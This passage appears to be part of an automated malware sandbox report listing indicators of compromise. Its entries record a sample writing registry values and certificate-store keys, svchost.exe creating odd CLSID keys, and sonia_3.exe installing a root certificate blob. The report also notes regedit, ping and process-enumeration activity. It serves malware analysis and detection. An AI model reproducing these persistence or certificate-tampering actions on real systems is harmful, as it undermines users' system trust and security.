0WLMI7KTAm308Z3mXq_xgAx0.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie svchost.exe -
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = 301bd569d72dd701 MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames\en-US = "en-US.1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberCompletedV = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionIn = "{0408412E-0284-491F-B021-DFB85B84B0D7}" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\NextPromptBuild = "15063" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\Certificates MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPeople MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed\CTLs MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\CRLs MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{IY7880QH-GQ0R-SG6F-75Z5-PGQ2S76C3D6F} svchost.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = 01000000184427897a320f9f4ab3d2c3cd4c46c6582c2140ae899f94b77de73fa57df636e1e9844d2161572348c756efcd510bffd105fb0d94e9501d5b3383033a7e MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\Certificates MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S} svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OpenSearch MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\FileVersion = "2016061511" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\SharedCookie_MRACMigrationDone = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage\ProcessingFlag = 40462417837dd701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PageSetup MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionIn MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\Certificates\83DA05A9886F7658BE MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 301bd569d72dd701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 0000000000000000 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 20a1051c837dd701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OpenSearch\OpenSearchDescriptionData = baffc49ee383374a8abf67e99635ea1e0100000053b06a1abe27334898108231552c52911f006100260000007700770077002e0067006f006f0067006c0065002e0063006f006d0000001f006d007e000000680074007400700073003a002f002f007700770077002e0067006f006f0067006c0065002e0063006f006d002f0073006500610072006300680064006f006d00610069006e0063006800650063006b003f0066006f0072006d00610074003d006f00700065006e0073006500610072006300680000001f0000002400000047006f006f0067006c00650020007a006f0065006b0065006e0000001f0000000a000000000000000000 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$MediaWiki MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$vBulletin 3 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed\CRLs MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\CTLs MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdge.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 sonia_3.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e sonia_3.exe -
Runs .reg file with regedit 2 IoCs
pid Process 5992 regedit.exe 5032 regedit.exe -
Runs ping.exe 1 TTPs 2 IoCs
pid Process 5564 PING.EXE 6036 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
